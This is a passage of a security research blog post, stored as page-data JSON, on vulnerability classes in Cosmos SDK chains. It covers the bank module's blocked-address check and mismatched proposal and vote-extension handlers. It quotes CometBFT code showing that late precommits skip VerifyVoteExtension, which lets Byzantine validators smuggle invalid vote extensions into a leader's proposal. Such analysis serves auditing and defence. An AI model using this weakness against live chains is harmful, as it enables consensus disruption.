,{"style":1461},[81954],{"type":28,"value":81955},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":134,"props":81957,"children":81958},{"style":179},[81959],{"type":28,"value":687},{"type":23,"tag":134,"props":81961,"children":81962},{"class":136,"line":22988},[81963,81968,81972,81977],{"type":23,"tag":134,"props":81964,"children":81965},{"style":162},[81966],{"type":28,"value":81967},"                    event",{"type":23,"tag":134,"props":81969,"children":81970},{"style":179},[81971],{"type":28,"value":720},{"type":23,"tag":134,"props":81973,"children":81974},{"style":162},[81975],{"type":28,"value":81976},"Sequence",{"type":23,"tag":134,"props":81978,"children":81979},{"style":179},[81980],{"type":28,"value":687},{"type":23,"tag":134,"props":81982,"children":81983},{"class":136,"line":23023},[81984,81989],{"type":23,"tag":134,"props":81985,"children":81986},{"style":162},[81987],{"type":28,"value":81988},"                    err",{"type":23,"tag":134,"props":81990,"children":81991},{"style":179},[81992],{"type":28,"value":687},{"type":23,"tag":134,"props":81994,"children":81995},{"class":136,"line":23031},[81996],{"type":23,"tag":134,"props":81997,"children":81998},{"style":179},[81999],{"type":28,"value":82000},"                )\n",{"type":23,"tag":134,"props":82002,"children":82003},{"class":136,"line":23039},[82004],{"type":23,"tag":134,"props":82005,"children":82006},{"style":179},[82007],{"type":28,"value":58392},{"type":23,"tag":134,"props":82009,"children":82010},{"class":136,"line":23048},[82011,82015,82019],{"type":23,"tag":134,"props":82012,"children":82013},{"style":179},[82014],{"type":28,"value":485},{"type":23,"tag":134,"props":82016,"children":82017},{"style":189},[82018],{"type":28,"value":490},{"type":23,"tag":134,"props":82020,"children":82021},{"style":179},[82022],{"type":28,"value":463},{"type":23,"tag":134,"props":82024,"children":82025},{"class":136,"line":23090},[82026],{"type":23,"tag":134,"props":82027,"children":82028},{"style":168},[82029],{"type":28,"value":82030},"            ...\n",{"type":23,"tag":134,"props":82032,"children":82033},{"class":136,"line":23123},[82034],{"type":23,"tag":134,"props":82035,"children":82036},{"style":179},[82037],{"type":28,"value":524},{"type":23,"tag":134,"props":82039,"children":82040},{"class":136,"line":23131},[82041],{"type":23,"tag":134,"props":82042,"children":82043},{"style":179},[82044],{"type":28,"value":533},{"type":23,"tag":134,"props":82046,"children":82047},{"class":136,"line":23139},[82048],{"type":23,"tag":134,"props":82049,"children":82050},{"style":168},[82051],{"type":28,"value":19817},{"type":23,"tag":134,"props":82053,"children":82054},{"class":136,"line":23148},[82055],{"type":23,"tag":134,"props":82056,"children":82057},{"style":179},[82058],{"type":28,"value":1098},{"type":23,"tag":134,"props":82060,"children":82061},{"class":136,"line":23224},[82062],{"type":23,"tag":134,"props":82063,"children":82064},{"emptyLinePlaceholder":15},[82065],{"type":28,"value":865},{"type":23,"tag":134,"props":82067,"children":82068},{"class":136,"line":23257},[82069,82073,82077,82081,82085,82089,82093],{"type":23,"tag":134,"props":82070,"children":82071},{"style":151},[82072],{"type":28,"value":75812},{"type":23,"tag":134,"props":82074,"children":82075},{"style":179},[82076],{"type":28,"value":232},{"type":23,"tag":134,"props":82078,"children":82079},{"style":162},[82080],{"type":28,"value":80640},{"type":23,"tag":134,"props":82082,"children":82083},{"style":597},[82084],{"type":28,"value":79457},{"type":23,"tag":134,"props":82086,"children":82087},{"style":179},[82088],{"type":28,"value":252},{"type":23,"tag":134,"props":82090,"children":82091},{"style":264},[82092],{"type":28,"value":81865},{"type":23,"tag":134,"props":82094,"children":82095},{"style":179},[82096],{"type":28,"value":642},{"type":23,"tag":134,"props":82098,"children":82099},{"class":136,"line":23265},[82100,82104,82108,82112,82116],{"type":23,"tag":134,"props":82101,"children":82102},{"style":162},[82103],{"type":28,"value":19701},{"type":23,"tag":134,"props":82105,"children":82106},{"style":597},[82107],{"type":28,"value":78153},{"type":23,"tag":134,"props":82109,"children":82110},{"style":179},[82111],{"type":28,"value":720},{"type":23,"tag":134,"props":82113,"children":82114},{"style":597},[82115],{"type":28,"value":75861},{"type":23,"tag":134,"props":82117,"children":82118},{"style":179},[82119],{"type":28,"value":687},{"type":23,"tag":134,"props":82121,"children":82122},{"class":136,"line":23273},[82123,82128,82132,82136,82141],{"type":23,"tag":134,"props":82124,"children":82125},{"style":162},[82126],{"type":28,"value":82127},"    recipient",{"type":23,"tag":134,"props":82129,"children":82130},{"style":597},[82131],{"type":28,"value":78153},{"type":23,"tag":134,"props":82133,"children":82134},{"style":179},[82135],{"type":28,"value":720},{"type":23,"tag":134,"props":82137,"children":82138},{"style":597},[82139],{"type":28,"value":82140},"AccAddress",{"type":23,"tag":134,"props":82142,"children":82143},{"style":179},[82144],{"type":28,"value":687},{"type":23,"tag":134,"props":82146,"children":82147},{"class":136,"line":23310},[82148,82152,82157,82161,82166],{"type":23,"tag":134,"props":82149,"children":82150},{"style":162},[82151],{"type":28,"value":61090},{"type":23,"tag":134,"props":82153,"children":82154},{"style":597},[82155],{"type":28,"value":82156}," math",{"type":23,"tag":134,"props":82158,"children":82159},{"style":179},[82160],{"type":28,"value":720},{"type":23,"tag":134,"props":82162,"children":82163},{"style":597},[82164],{"type":28,"value":82165},"Int",{"type":23,"tag":134,"props":82167,"children":82168},{"style":179},[82169],{"type":28,"value":687},{"type":23,"tag":134,"props":82171,"children":82172},{"class":136,"line":23323},[82173,82177,82181],{"type":23,"tag":134,"props":82174,"children":82175},{"style":179},[82176],{"type":28,"value":252},{"type":23,"tag":134,"props":82178,"children":82179},{"style":597},[82180],{"type":28,"value":14332},{"type":23,"tag":134,"props":82182,"children":82183},{"style":179},[82184],{"type":28,"value":463},{"type":23,"tag":134,"props":82186,"children":82187},{"class":136,"line":23336},[82188],{"type":23,"tag":134,"props":82189,"children":82190},{"style":168},[82191],{"type":28,"value":19817},{"type":23,"tag":134,"props":82193,"children":82194},{"class":136,"line":23349},[82195,82200,82204,82208,82212,82217,82221,82225],{"type":23,"tag":134,"props":82196,"children":82197},{"style":162},[82198],{"type":28,"value":82199},"    err",{"type":23,"tag":134,"props":82201,"children":82202},{"style":168},[82203],{"type":28,"value":171},{"type":23,"tag":134,"props":82205,"children":82206},{"style":162},[82207],{"type":28,"value":80768},{"type":23,"tag":134,"props":82209,"children":82210},{"style":179},[82211],{"type":28,"value":720},{"type":23,"tag":134,"props":82213,"children":82214},{"style":162},[82215],{"type":28,"value":82216},"bankKeeper",{"type":23,"tag":134,"props":82218,"children":82219},{"style":179},[82220],{"type":28,"value":720},{"type":23,"tag":134,"props":82222,"children":82223},{"style":264},[82224],{"type":28,"value":81155},{"type":23,"tag":134,"props":82226,"children":82227},{"style":179},[82228],{"type":28,"value":642},{"type":23,"tag":134,"props":82230,"children":82231},{"class":136,"line":23403},[82232,82236],{"type":23,"tag":134,"props":82233,"children":82234},{"style":162},[82235],{"type":28,"value":25677},{"type":23,"tag":134,"props":82237,"children":82238},{"style":179},[82239],{"type":28,"value":687},{"type":23,"tag":134,"props":82241,"children":82242},{"class":136,"line":23412},[82243,82248,82252,82257],{"type":23,"tag":134,"props":82244,"children":82245},{"style":162},[82246],{"type":28,"value":82247},"        types",{"type":23,"tag":134,"props":82249,"children":82250},{"style":179},[82251],{"type":28,"value":720},{"type":23,"tag":134,"props":82253,"children":82254},{"style":162},[82255],{"type":28,"value":82256},"ModuleName",{"type":23,"tag":134,"props":82258,"children":82259},{"style":179},[82260],{"type":28,"value":687},{"type":23,"tag":134,"props":82262,"children":82263},{"class":136,"line":31776},[82264,82268],{"type":23,"tag":134,"props":82265,"children":82266},{"style":162},[82267],{"type":28,"value":81665},{"type":23,"tag":134,"props":82269,"children":82270},{"style":179},[82271],{"type":28,"value":687},{"type":23,"tag":134,"props":82273,"children":82274},{"class":136,"line":31797},[82275,82280],{"type":23,"tag":134,"props":82276,"children":82277},{"style":162},[82278],{"type":28,"value":82279},"        coins",{"type":23,"tag":134,"props":82281,"children":82282},{"style":179},[82283],{"type":28,"value":687},{"type":23,"tag":134,"props":82285,"children":82286},{"class":136,"line":80463},[82287],{"type":23,"tag":134,"props":82288,"children":82289},{"style":179},[82290],{"type":28,"value":23409},{"type":23,"tag":134,"props":82292,"children":82293},{"class":136,"line":80476},[82294,82298,82302,82306,82310],{"type":23,"tag":134,"props":82295,"children":82296},{"style":189},[82297],{"type":28,"value":11746},{"type":23,"tag":134,"props":82299,"children":82300},{"style":162},[82301],{"type":28,"value":48026},{"type":23,"tag":134,"props":82303,"children":82304},{"style":168},[82305],{"type":28,"value":63895},{"type":23,"tag":134,"props":82307,"children":82308},{"style":151},[82309],{"type":28,"value":81430},{"type":23,"tag":134,"props":82311,"children":82312},{"style":179},[82313],{"type":28,"value":463},{"type":23,"tag":134,"props":82315,"children":82316},{"class":136,"line":80484},[82317,82321,82325,82329,82333,82337,82342,82346,82350],{"type":23,"tag":134,"props":82318,"children":82319},{"style":189},[82320],{"type":28,"value":15214},{"type":23,"tag":134,"props":82322,"children":82323},{"style":162},[82324],{"type":28,"value":81746},{"type":23,"tag":134,"props":82326,"children":82327},{"style":179},[82328],{"type":28,"value":720},{"type":23,"tag":134,"props":82330,"children":82331},{"style":264},[82332],{"type":28,"value":81463},{"type":23,"tag":134,"props":82334,"children":82335},{"style":179},[82336],{"type":28,"value":272},{"type":23,"tag":134,"props":82338,"children":82339},{"style":1461},[82340],{"type":28,"value":82341},"\"failed to send coins: %w\"",{"type":23,"tag":134,"props":82343,"children":82344},{"style":179},[82345],{"type":28,"value":242},{"type":23,"tag":134,"props":82347,"children":82348},{"style":162},[82349],{"type":28,"value":47925},{"type":23,"tag":134,"props":82351,"children":82352},{"style":179},[82353],{"type":28,"value":329},{"type":23,"tag":134,"props":82355,"children":82356},{"class":136,"line":80492},[82357],{"type":23,"tag":134,"props":82358,"children":82359},{"style":179},[82360],{"type":28,"value":533},{"type":23,"tag":134,"props":82362,"children":82363},{"class":136,"line":80500},[82364],{"type":23,"tag":134,"props":82365,"children":82366},{"style":168},[82367],{"type":28,"value":19817},{"type":23,"tag":134,"props":82369,"children":82370},{"class":136,"line":80540},[82371],{"type":23,"tag":134,"props":82372,"children":82373},{"style":179},[82374],{"type":28,"value":1098},{"type":23,"tag":87,"props":82376,"children":82378},{"code":82377,"language":75676,"meta":7,"className":75677,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82379],{"type":23,"tag":92,"props":82380,"children":82381},{"__ignoreMap":7},[82382,82414,82493,82508,82516,82547,82605,82612,82619],{"type":23,"tag":134,"props":82383,"children":82384},{"class":136,"line":137},[82385,82389,82393,82397,82402,82406,82410],{"type":23,"tag":134,"props":82386,"children":82387},{"style":151},[82388],{"type":28,"value":75812},{"type":23,"tag":134,"props":82390,"children":82391},{"style":179},[82392],{"type":28,"value":232},{"type":23,"tag":134,"props":82394,"children":82395},{"style":162},[82396],{"type":28,"value":80640},{"type":23,"tag":134,"props":82398,"children":82399},{"style":597},[82400],{"type":28,"value":82401},"BaseKeeper",{"type":23,"tag":134,"props":82403,"children":82404},{"style":179},[82405],{"type":28,"value":252},{"type":23,"tag":134,"props":82407,"children":82408},{"style":264},[82409],{"type":28,"value":81155},{"type":23,"tag":134,"props":82411,"children":82412},{"style":179},[82413],{"type":28,"value":642},{"type":23,"tag":134,"props":82415,"children":82416},{"class":136,"line":147},[82417,82421,82425,82429,82433,82437,82442,82446,82450,82455,82459,82463,82467,82471,82476,82480,82484,82489],{"type":23,"tag":134,"props":82418,"children":82419},{"style":162},[82420],{"type":28,"value":25334},{"type":23,"tag":134,"props":82422,"children":82423},{"style":597},[82424],{"type":28,"value":75852},{"type":23,"tag":134,"props":82426,"children":82427},{"style":179},[82428],{"type":28,"value":720},{"type":23,"tag":134,"props":82430,"children":82431},{"style":597},[82432],{"type":28,"value":75861},{"type":23,"tag":134,"props":82434,"children":82435},{"style":179},[82436],{"type":28,"value":242},{"type":23,"tag":134,"props":82438,"children":82439},{"style":162},[82440],{"type":28,"value":82441},"senderModule",{"type":23,"tag":134,"props":82443,"children":82444},{"style":597},[82445],{"type":28,"value":35527},{"type":23,"tag":134,"props":82447,"children":82448},{"style":179},[82449],{"type":28,"value":242},{"type":23,"tag":134,"props":82451,"children":82452},{"style":162},[82453],{"type":28,"value":82454},"recipientAddr",{"type":23,"tag":134,"props":82456,"children":82457},{"style":597},[82458],{"type":28,"value":78153},{"type":23,"tag":134,"props":82460,"children":82461},{"style":179},[82462],{"type":28,"value":720},{"type":23,"tag":134,"props":82464,"children":82465},{"style":597},[82466],{"type":28,"value":82140},{"type":23,"tag":134,"props":82468,"children":82469},{"style":179},[82470],{"type":28,"value":242},{"type":23,"tag":134,"props":82472,"children":82473},{"style":162},[82474],{"type":28,"value":82475},"amt",{"type":23,"tag":134,"props":82477,"children":82478},{"style":597},[82479],{"type":28,"value":78153},{"type":23,"tag":134,"props":82481,"children":82482},{"style":179},[82483],{"type":28,"value":720},{"type":23,"tag":134,"props":82485,"children":82486},{"style":597},[82487],{"type":28,"value":82488},"Coins",{"type":23,"tag":134,"props":82490,"children":82491},{"style":179},[82492],{"type":28,"value":687},{"type":23,"tag":134,"props":82494,"children":82495},{"class":136,"line":185},[82496,82500,82504],{"type":23,"tag":134,"props":82497,"children":82498},{"style":179},[82499],{"type":28,"value":252},{"type":23,"tag":134,"props":82501,"children":82502},{"style":597},[82503],{"type":28,"value":14332},{"type":23,"tag":134,"props":82505,"children":82506},{"style":179},[82507],{"type":28,"value":463},{"type":23,"tag":134,"props":82509,"children":82510},{"class":136,"line":221},[82511],{"type":23,"tag":134,"props":82512,"children":82513},{"style":168},[82514],{"type":28,"value":82515}," ...\n",{"type":23,"tag":134,"props":82517,"children":82518},{"class":136,"line":332},[82519,82523,82527,82531,82535,82539,82543],{"type":23,"tag":134,"props":82520,"children":82521},{"style":189},[82522],{"type":28,"value":15258},{"type":23,"tag":134,"props":82524,"children":82525},{"style":162},[82526],{"type":28,"value":80768},{"type":23,"tag":134,"props":82528,"children":82529},{"style":179},[82530],{"type":28,"value":720},{"type":23,"tag":134,"props":82532,"children":82533},{"style":264},[82534],{"type":28,"value":81171},{"type":23,"tag":134,"props":82536,"children":82537},{"style":179},[82538],{"type":28,"value":272},{"type":23,"tag":134,"props":82540,"children":82541},{"style":162},[82542],{"type":28,"value":82454},{"type":23,"tag":134,"props":82544,"children":82545},{"style":179},[82546],{"type":28,"value":14272},{"type":23,"tag":134,"props":82548,"children":82549},{"class":136,"line":438},[82550,82554,82559,82563,82567,82571,82575,82579,82584,82588,82593,82597,82601],{"type":23,"tag":134,"props":82551,"children":82552},{"style":189},[82553],{"type":28,"value":38697},{"type":23,"tag":134,"props":82555,"children":82556},{"style":162},[82557],{"type":28,"value":82558}," errorsmod",{"type":23,"tag":134,"props":82560,"children":82561},{"style":179},[82562],{"type":28,"value":720},{"type":23,"tag":134,"props":82564,"children":82565},{"style":264},[82566],{"type":28,"value":80422},{"type":23,"tag":134,"props":82568,"children":82569},{"style":179},[82570],{"type":28,"value":272},{"type":23,"tag":134,"props":82572,"children":82573},{"style":162},[82574],{"type":28,"value":80084},{"type":23,"tag":134,"props":82576,"children":82577},{"style":179},[82578],{"type":28,"value":720},{"type":23,"tag":134,"props":82580,"children":82581},{"style":162},[82582],{"type":28,"value":82583},"ErrUnauthorized",{"type":23,"tag":134,"props":82585,"children":82586},{"style":179},[82587],{"type":28,"value":242},{"type":23,"tag":134,"props":82589,"children":82590},{"style":1461},[82591],{"type":28,"value":82592},"\"%s is not allowed to receive funds\"",{"type":23,"tag":134,"props":82594,"children":82595},{"style":179},[82596],{"type":28,"value":242},{"type":23,"tag":134,"props":82598,"children":82599},{"style":162},[82600],{"type":28,"value":82454},{"type":23,"tag":134,"props":82602,"children":82603},{"style":179},[82604],{"type":28,"value":329},{"type":23,"tag":134,"props":82606,"children":82607},{"class":136,"line":466},[82608],{"type":23,"tag":134,"props":82609,"children":82610},{"style":179},[82611],{"type":28,"value":9059},{"type":23,"tag":134,"props":82613,"children":82614},{"class":136,"line":479},[82615],{"type":23,"tag":134,"props":82616,"children":82617},{"style":168},[82618],{"type":28,"value":82515},{"type":23,"tag":134,"props":82620,"children":82621},{"class":136,"line":497},[82622],{"type":23,"tag":134,"props":82623,"children":82624},{"style":179},[82625],{"type":28,"value":1098},{"type":23,"tag":24,"props":82627,"children":82628},{},[82629,82631,82638],{"type":28,"value":82630},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":31,"props":82632,"children":82635},{"href":82633,"rel":82634},"https://hackerone.com/reports/3018307",[35],[82636],{"type":28,"value":82637},"improper decimal handling in the group module",{"type":28,"value":720},{"type":23,"tag":61,"props":82640,"children":82642},{"id":82641},"same-same-but-different",[82643],{"type":28,"value":82644},"Same, Same... But Different",{"type":23,"tag":24,"props":82646,"children":82647},{},[82648,82650,82656,82657,82663,82664,82670,82671,82677],{"type":28,"value":82649},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":92,"props":82651,"children":82653},{"className":82652},[],[82654],{"type":28,"value":82655},"PrepareProposal",{"type":28,"value":242},{"type":23,"tag":92,"props":82658,"children":82660},{"className":82659},[],[82661],{"type":28,"value":82662},"ProcessProposal",{"type":28,"value":242},{"type":23,"tag":92,"props":82665,"children":82667},{"className":82666},[],[82668],{"type":28,"value":82669},"ExtendVote",{"type":28,"value":5945},{"type":23,"tag":92,"props":82672,"children":82674},{"className":82673},[],[82675],{"type":28,"value":82676},"VerifyVoteExtension",{"type":28,"value":82678},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":82680,"children":82681},{},[82682],{"type":28,"value":82683},"Two of the best-known attack surfaces are",{"type":23,"tag":4890,"props":82685,"children":82686},{},[82687,82716],{"type":23,"tag":4894,"props":82688,"children":82689},{},[82690,82695,82696,82701,82703,82708,82709,82714],{"type":23,"tag":92,"props":82691,"children":82693},{"className":82692},[],[82694],{"type":28,"value":82655},{"type":28,"value":232},{"type":23,"tag":92,"props":82697,"children":82699},{"className":82698},[],[82700],{"type":28,"value":82669},{"type":28,"value":82702},") outputs being rejected due to ",{"type":23,"tag":92,"props":82704,"children":82706},{"className":82705},[],[82707],{"type":28,"value":82662},{"type":28,"value":232},{"type":23,"tag":92,"props":82710,"children":82712},{"className":82711},[],[82713],{"type":28,"value":82676},{"type":28,"value":82715},") over-validating, resulting in liveness failures.",{"type":23,"tag":4894,"props":82717,"children":82718},{},[82719,82721,82726,82727,82732,82734,82739,82740,82745],{"type":28,"value":82720},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":92,"props":82722,"children":82724},{"className":82723},[],[82725],{"type":28,"value":82655},{"type":28,"value":232},{"type":23,"tag":92,"props":82728,"children":82730},{"className":82729},[],[82731],{"type":28,"value":82669},{"type":28,"value":82733},") are accepted due to ",{"type":23,"tag":92,"props":82735,"children":82737},{"className":82736},[],[82738],{"type":28,"value":82662},{"type":28,"value":232},{"type":23,"tag":92,"props":82741,"children":82743},{"className":82742},[],[82744],{"type":28,"value":82676},{"type":28,"value":82746},") under-validating.",{"type":23,"tag":24,"props":82748,"children":82749},{},[82750],{"type":28,"value":82751},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":82753,"children":82754},{},[82755,82757,82763,82765,82770],{"type":28,"value":82756},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":92,"props":82758,"children":82760},{"className":82759},[],[82761],{"type":28,"value":82762},"VoteExtensions",{"type":28,"value":82764}," within ",{"type":23,"tag":92,"props":82766,"children":82768},{"className":82767},[],[82769],{"type":28,"value":82655},{"type":28,"value":82771},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":82773,"children":82774},{},[82775,82777,82782,82784,82789],{"type":28,"value":82776},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":92,"props":82778,"children":82780},{"className":82779},[],[82781],{"type":28,"value":82669},{"type":28,"value":82783}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":92,"props":82785,"children":82787},{"className":82786},[],[82788],{"type":28,"value":82676},{"type":28,"value":82790},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":82792,"children":82793},{},[82794,82796,82801],{"type":28,"value":82795},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":92,"props":82797,"children":82799},{"className":82798},[],[82800],{"type":28,"value":82676},{"type":28,"value":82802}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":82804,"children":82805},{},[82806,82808,82813,82815,82821],{"type":28,"value":82807},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":92,"props":82809,"children":82811},{"className":82810},[],[82812],{"type":28,"value":82676},{"type":28,"value":82814},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":92,"props":82816,"children":82818},{"className":82817},[],[82819],{"type":28,"value":82820},"Proposal",{"type":28,"value":720},{"type":23,"tag":87,"props":82823,"children":82825},{"code":82824,"language":75676,"meta":7,"className":75677,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[82826],{"type":23,"tag":92,"props":82827,"children":82828},{"__ignoreMap":7},[82829,82941,82948,82955,82963,82971,83055,83062,83070,83124,83131,83152,83159,83231,83247,83254,83328,83384,83391,83453,83460,83467,83486,83493,83500,83507],{"type":23,"tag":134,"props":82830,"children":82831},{"class":136,"line":137},[82832,82836,82840,82845,82849,82854,82858,82863,82867,82872,82876,82880,82884,82889,82893,82898,82903,82907,82912,82916,82921,82925,82929,82933,82937],{"type":23,"tag":134,"props":82833,"children":82834},{"style":151},[82835],{"type":28,"value":75812},{"type":23,"tag":134,"props":82837,"children":82838},{"style":179},[82839],{"type":28,"value":232},{"type":23,"tag":134,"props":82841,"children":82842},{"style":162},[82843],{"type":28,"value":82844},"cs ",{"type":23,"tag":134,"props":82846,"children":82847},{"style":168},[82848],{"type":28,"value":1777},{"type":23,"tag":134,"props":82850,"children":82851},{"style":597},[82852],{"type":28,"value":82853},"State",{"type":23,"tag":134,"props":82855,"children":82856},{"style":179},[82857],{"type":28,"value":252},{"type":23,"tag":134,"props":82859,"children":82860},{"style":264},[82861],{"type":28,"value":82862},"addVote",{"type":23,"tag":134,"props":82864,"children":82865},{"style":179},[82866],{"type":28,"value":272},{"type":23,"tag":134,"props":82868,"children":82869},{"style":162},[82870],{"type":28,"value":82871},"vote",{"type":23,"tag":134,"props":82873,"children":82874},{"style":168},[82875],{"type":28,"value":9281},{"type":23,"tag":134,"props":82877,"children":82878},{"style":597},[82879],{"type":28,"value":5214},{"type":23,"tag":134,"props":82881,"children":82882},{"style":179},[82883],{"type":28,"value":720},{"type":23,"tag":134,"props":82885,"children":82886},{"style":597},[82887],{"type":28,"value":82888},"Vote",{"type":23,"tag":134,"props":82890,"children":82891},{"style":179},[82892],{"type":28,"value":242},{"type":23,"tag":134,"props":82894,"children":82895},{"style":162},[82896],{"type":28,"value":82897},"peerID",{"type":23,"tag":134,"props":82899,"children":82900},{"style":597},[82901],{"type":28,"value":82902}," p2p",{"type":23,"tag":134,"props":82904,"children":82905},{"style":179},[82906],{"type":28,"value":720},{"type":23,"tag":134,"props":82908,"children":82909},{"style":597},[82910],{"type":28,"value":82911},"ID",{"type":23,"tag":134,"props":82913,"children":82914},{"style":179},[82915],{"type":28,"value":75894},{"type":23,"tag":134,"props":82917,"children":82918},{"style":162},[82919],{"type":28,"value":82920},"added",{"type":23,"tag":134,"props":82922,"children":82923},{"style":597},[82924],{"type":28,"value":11517},{"type":23,"tag":134,"props":82926,"children":82927},{"style":179},[82928],{"type":28,"value":242},{"type":23,"tag":134,"props":82930,"children":82931},{"style":162},[82932],{"type":28,"value":47925},{"type":23,"tag":134,"props":82934,"children":82935},{"style":597},[82936],{"type":28,"value":14345},{"type":23,"tag":134,"props":82938,"children":82939},{"style":179},[82940],{"type":28,"value":14272},{"type":23,"tag":134,"props":82942,"children":82943},{"class":136,"line":147},[82944],{"type":23,"tag":134,"props":82945,"children":82946},{"style":168},[82947],{"type":28,"value":19817},{"type":23,"tag":134,"props":82949,"children":82950},{"class":136,"line":185},[82951],{"type":23,"tag":134,"props":82952,"children":82953},{"emptyLinePlaceholder":15},[82954],{"type":28,"value":865},{"type":23,"tag":134,"props":82956,"children":82957},{"class":136,"line":221},[82958],{"type":23,"tag":134,"props":82959,"children":82960},{"style":141},[82961],{"type":28,"value":82962},"    // A precommit for the previous height?\n",{"type":23,"tag":134,"props":82964,"children":82965},{"class":136,"line":332},[82966],{"type":23,"tag":134,"props":82967,"children":82968},{"style":141},[82969],{"type":28,"value":82970},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":134,"props":82972,"children":82973},{"class":136,"line":438},[82974,82978,82983,82987,82992,82996,83000,83004,83009,83013,83017,83021,83025,83029,83034,83038,83042,83046,83051],{"type":23,"tag":134,"props":82975,"children":82976},{"style":189},[82977],{"type":28,"value":11746},{"type":23,"tag":134,"props":82979,"children":82980},{"style":162},[82981],{"type":28,"value":82982}," vote",{"type":23,"tag":134,"props":82984,"children":82985},{"style":179},[82986],{"type":28,"value":720},{"type":23,"tag":134,"props":82988,"children":82989},{"style":162},[82990],{"type":28,"value":82991},"Height",{"type":23,"tag":134,"props":82993,"children":82994},{"style":168},[82995],{"type":28,"value":1586},{"type":23,"tag":134,"props":82997,"children":82998},{"style":205},[82999],{"type":28,"value":1214},{"type":23,"tag":134,"props":83001,"children":83002},{"style":168},[83003],{"type":28,"value":454},{"type":23,"tag":134,"props":83005,"children":83006},{"style":162},[83007],{"type":28,"value":83008}," cs",{"type":23,"tag":134,"props":83010,"children":83011},{"style":179},[83012],{"type":28,"value":720},{"type":23,"tag":134,"props":83014,"children":83015},{"style":162},[83016],{"type":28,"value":82991},{"type":23,"tag":134,"props":83018,"children":83019},{"style":168},[83020],{"type":28,"value":13653},{"type":23,"tag":134,"props":83022,"children":83023},{"style":162},[83024],{"type":28,"value":82982},{"type":23,"tag":134,"props":83026,"children":83027},{"style":179},[83028],{"type":28,"value":720},{"type":23,"tag":134,"props":83030,"children":83031},{"style":162},[83032],{"type":28,"value":83033},"Type",{"type":23,"tag":134,"props":83035,"children":83036},{"style":168},[83037],{"type":28,"value":454},{"type":23,"tag":134,"props":83039,"children":83040},{"style":162},[83041],{"type":28,"value":77687},{"type":23,"tag":134,"props":83043,"children":83044},{"style":179},[83045],{"type":28,"value":720},{"type":23,"tag":134,"props":83047,"children":83048},{"style":162},[83049],{"type":28,"value":83050},"PrecommitType",{"type":23,"tag":134,"props":83052,"children":83053},{"style":179},[83054],{"type":28,"value":463},{"type":23,"tag":134,"props":83056,"children":83057},{"class":136,"line":466},[83058],{"type":23,"tag":134,"props":83059,"children":83060},{"style":168},[83061],{"type":28,"value":81354},{"type":23,"tag":134,"props":83063,"children":83064},{"class":136,"line":479},[83065],{"type":23,"tag":134,"props":83066,"children":83067},{"style":141},[83068],{"type":28,"value":83069},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":134,"props":83071,"children":83072},{"class":136,"line":497},[83073,83078,83082,83086,83090,83094,83098,83103,83107,83112,83116,83120],{"type":23,"tag":134,"props":83074,"children":83075},{"style":162},[83076],{"type":28,"value":83077},"        added",{"type":23,"tag":134,"props":83079,"children":83080},{"style":179},[83081],{"type":28,"value":242},{"type":23,"tag":134,"props":83083,"children":83084},{"style":162},[83085],{"type":28,"value":47925},{"type":23,"tag":134,"props":83087,"children":83088},{"style":168},[83089],{"type":28,"value":171},{"type":23,"tag":134,"props":83091,"children":83092},{"style":162},[83093],{"type":28,"value":83008},{"type":23,"tag":134,"props":83095,"children":83096},{"style":179},[83097],{"type":28,"value":720},{"type":23,"tag":134,"props":83099,"children":83100},{"style":162},[83101],{"type":28,"value":83102},"LastCommit",{"type":23,"tag":134,"props":83104,"children":83105},{"style":179},[83106],{"type":28,"value":720},{"type":23,"tag":134,"props":83108,"children":83109},{"style":264},[83110],{"type":28,"value":83111},"AddVote",{"type":23,"tag":134,"props":83113,"children":83114},{"style":179},[83115],{"type":28,"value":272},{"type":23,"tag":134,"props":83117,"children":83118},{"style":162},[83119],{"type":28,"value":82871},{"type":23,"tag":134,"props":83121,"children":83122},{"style":179},[83123],{"type":28,"value":329},{"type":23,"tag":134,"props":83125,"children":83126},{"class":136,"line":518},[83127],{"type":23,"tag":134,"props":83128,"children":83129},{"style":168},[83130],{"type":28,"value":81354},{"type":23,"tag":134,"